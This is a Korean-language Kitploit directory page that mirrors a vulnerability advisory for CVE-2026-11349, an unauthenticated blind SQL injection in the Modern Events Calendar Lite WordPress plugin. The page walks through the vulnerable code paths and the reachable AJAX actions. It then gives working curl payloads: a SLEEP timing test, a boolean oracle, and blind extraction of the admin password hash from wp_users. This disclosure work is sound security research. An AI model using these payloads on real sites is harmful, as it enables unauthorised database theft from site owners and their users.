Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션 | Kitploit
도구/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션

저장소 보기
1123개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Modern Events Calendar Lite <= 7.33.0 — 인증되지 않은 SQL 인젝션 (mec_list_load_more의 atts[include] / atts[exclude])

요약

세부 사항값
플러그인Modern Events Calendar Lite
슬러그modern-events-calendar-lite
저자Webnus
영향을 받는 버전<= 7.33.0 (현재 공급업체에서 배포하는 Lite 릴리스). 전체 post-w.org 범위에 걸쳐 버그 존재; 6.5.6 및 7.33.0에서 연구소 확인, 5.21.2에서 정적 확인. 6.5.6 = 마지막 wordpress.org 빌드 (2022-05-11 폐쇄 시점 동결); 7.33.0 = mec.webnus.net에서 배포하는 현재 빌드
활성 설치 수wordpress.org 카운트는 폐쇄 이후 숨겨짐; 역사적으로 100,000+ 이상. 공급업체에 의해 여전히 활발히 배포/업데이트됨 (Lite via mec.webnus.net; 동일한 7.x 코드베이스가 활발히 판매 중인 MEC Pro의 기반)
CWECWE-89 (SQL 인젝션)
취약점인증되지 않은 블라인드 SQL 인젝션 (시간 기반 / 불리언 / 오류 기반)
필요 권한없음 (wp_ajax_nopriv_* — 인증 전)
사용자 상호작용없음
CVSS v3.17.5 (높음) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
상태7.33.0(현재) 및 6.5.6 (WordPress 6.6.5, MariaDB 10.x)에서 엔드 투 엔드 연구소 확인
CVE / GHSACVE-2026-11349

설명

Modern Events Calendar Lite은 이벤트 목록 스킨(list, grid, masonry, agenda, timeline, tile, custom)을 위해 인증되지 않은 admin-ajax.php "load more" 액션 제품군을 등록합니다. 각 핸들러는 공격자가 제어하는 atts 요청 배열을 읽고, sanitize_deep_array()라는 헬퍼를 통해 전달합니다. 이 헬퍼는 기본 인자로 호출될 때 전혀 새니타이제이션을 수행하지 않으며, 그런 다음 atts['include'](및 atts['exclude']) 값을 post_id IN (...) SQL 조각에 원시로 연결하여 $wpdb->get_results()로 실행하며 $wpdb->prepare()는 사용하지 않습니다.

엔트리 포인트가 wp_ajax_nopriv_*에 등록되어 있으므로 인증, 계정, 논스 또는 사용자 상호작용이 필요하지 않습니다. 인증되지 않은 원격 공격자는 wp_mec_dates에 대한 SELECT의 WHERE 절에 임의의 SQL을 주입하고, 블라인드 시간 기반/불리언/오류 기반 기술을 통해 WordPress 데이터베이스의 모든 데이터(사용자 비밀번호 해시, wp_options 비밀/키, 다른 플러그인의 데이터)를 읽을 수 있습니다.


근본 원인

1. 기본 경로에서 전혀 새니타이제이션하지 않는 "새니타이저"

app/libraries/main.php:9607:

public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW 통과, 새니타이제이션 없음
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... $excludes가 비어 있지 않을 때만 도달)
    }
    return $sanitized;
}

가드 (is_array($excludes) and !count($excludes))는 함수가 $excludes가 기본 빈 배열일 때 완전한 무효 동작을 하도록 만듭니다 — 모든 값이 그대로 복사됩니다. 의도는 분명히 "제외 목록이 있으면 해당 키를 건너뛰기"였지만, 부울 논리는 제외 목록이 제공되지 않을 때 모든 것을 건너뜁니다.

2. 호출자가 $excludes를 제공하지 않음

app/skins/list.php:499-501 (load_more()):

$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts'])가 단일 인자로 호출됨 → $excludes가 array()로 기본 설정 → 위의 무효 경로 → $atts는 원시의 신뢰할 수 없는 $_REQUEST['atts']입니다.

3. IN (...) 절에 원시 연결

app/libraries/skins.php:

// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

배열 요소가 정수 캐스트나 이스케이프 없이 SQL 문자열에 직접 implode()됩니다. (각 요소에 absint()/(int)를 적용했다면 이 문제가 해결되었을 것입니다.)

4. 준비된 문 없이 실행

app/libraries/db.php:79:

public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // `#__`를 테이블 접두사로만 교체
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — prepare() 없음
    // ...
}

완전히 구축된 문자열이 $wpdb->get_results()에 그대로 전달됩니다.

오염 흐름 (요청 → 싱크):

$_REQUEST['atts']                                       (공격자 제어, 인증되지 않음)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (무효 동작: 기본 빈 $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = 원시 atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (prepare 없음)

접근 가능성

app/skins/list.php:51-52:

$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- 인증되지 않음

nopriv 등록으로 엔드포인트가 인증 전에 접근 가능합니다. 동일한 load_more() 형태와 공유되는 skins.php 쿼리 빌더는 형제 스킨에도 존재하며, 각각 자체 wp_ajax_nopriv_* 액션이 있으므로 동일한 인젝션이 다음 중 하나를 통해 접근 가능합니다:

AJAX 액션 (nopriv)스킨 핸들러
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

load_more()에서 논스가 확인되지 않으며, 액션이 페이지에 플러그인 단축 코드가 있을 것을 요구하지 않습니다 — AJAX 핸들러는 init에서 조건 없이 등록됩니다.


개념 증명 (연구소 확인, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

모든 요청은 인증되지 않음(쿠키, 논스 없음). 주입된 값은 atts[include][]에 배치됩니다. 페이로드는 IN ((...) AND (... IN ( 그룹의 두 괄호를 닫고 최상위 OR <sleep>을 추가하여 조건이 스캔된 모든 행에 대해 평가되도록 한 다음, 후행 )) ORDER BY ...를 주석 처리합니다:

TARGET='https://victim.example'          # 일반 영구 링크: admin-ajax.php 직접 사용

# 1) 기준 (주입 없음)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) 시간 기반 증명 — 균형 잡힌 최상위 OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) 실행됨

# 3) 불리언 오라클 (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) 실제 데이터 추출 (블라인드), 예: 관리자 비밀번호 해시 첫 번째 바이트 == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: 관리자 해시가 '$'로 시작 (phpass)

오류 카나리 atts[include][]=0)MEC_SQLI_CANARY에 대해 실행된 정확한 쿼리 (WP_DEBUG_LOG에서 캡처):

SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— 리터럴 토큰 MEC_SQLI_CANARY가 실행된 문에 그대로 나타나며, 원시 연결을 확인합니다. atts[exclude][] 매개변수(skins.php:803 / 603, NOT IN)도 동일하게 주입 가능합니다(연구소 확인: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). 동일한 쿼리 및 주입이 7.33.0(현재 빌드)에서도 재현되었습니다 — 동일한 카나리, 동일한 SLEEP 동작.

자동 PoC

도구 다운로드